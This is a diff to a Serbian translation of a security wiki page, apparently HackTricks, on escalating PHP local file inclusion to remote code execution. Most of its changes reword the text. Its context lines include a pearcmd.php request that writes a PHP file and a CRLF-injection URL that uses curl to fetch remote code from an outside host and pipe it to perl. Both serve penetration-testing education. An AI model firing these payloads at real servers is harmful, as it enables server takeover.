 {{#ref}}
 lfi2rce-via-temp-file-uploads.md
 {{#endref}}

-### Putem `pearcmd.php` + URL args
+### Preko `pearcmd.php` + URL args

 As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).

@ -621,34 +621,34 @@ The following request create a file in `/tmp/hello.php` with the content `<?=php
 ```bash
 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 ```
-Sledeće zloupotrebljava CRLF vuln za dobijanje RCE (iz [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+Ispod se zloupotrebljava CRLF vuln da bi se dobio RCE (iz [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
-### Putem phpinfo() (file_uploads = on)
+### Preko phpinfo() (file_uploads = on)

-Ako pronađete **Local File Inclusion** i fajl koji izlaže **phpinfo()** sa file_uploads = on, možete dobiti RCE:
+Ako ste pronašli **Local File Inclusion** i fajl koji otkriva **phpinfo()** sa file_uploads = on, možete dobiti RCE:


 {{#ref}}
 lfi2rce-via-phpinfo.md
 {{#endref}}

-### Putem compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
+### Preko compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure

-Ako pronađete **Local File Inclusion** i možete **eksfiltrirati putanju** privremenog fajla ALI **server** **proverava** da li fajl koji će biti uključen ima PHP oznake, možete pokušati da **zaobiđete tu proveru** ovom **Race Condition**:
+Ako ste pronašli **Local File Inclusion** i možete exfiltrate putanju temp fajla ALI **server** proverava da li **fajl koji će biti uključen ima PHP oznake**, možete pokušati da zaobiđete tu proveru ovom **Race Condition**:


 {{#ref}}
 lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 {{#endref}}

-### Putem eternal waiting + bruteforce
+### Preko eternal waiting + bruteforce

-Ako možete iskoristiti LFI da **uploadujete privremene fajlove** i naterate server da PHP izvršavanje **zaglavi**, onda možete satima **bruteforce-ovati imena fajlova** da biste pronašli privremeni fajl:
+Ako možete zloupotrebiti LFI da **upload temporary files** i naterate server da PHP izvršenje **hang**, onda možete satima **brute force** imena fajlova da biste pronašli privremeni fajl:


 {{#ref}}
@ -657,14 +657,15 @@ lfi2rce-via-eternal-waiting.md

 ### Do Fatal Error

-Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Potrebno je uključiti isti fajl 2 puta da biste izazvali tu grešku).
+Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Treba da uključite isti fajl 2 puta da biste izazvali tu grešku).

-**Ne znam koliko je ovo korisno, ali može biti.**\
-_Čak i ako izazovete PHP Fatal Error, PHP privremeni fajlovi koji su uploadovani se brišu._
+**Ne znam koliko je ovo korisno, ali možda jeste.**\
+_Čak i ako izazovete PHP Fatal Error, PHP privremeni fajlovi koji su upload-ovani se brišu._

 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

-## Reference
+
+## References

 - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
 - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)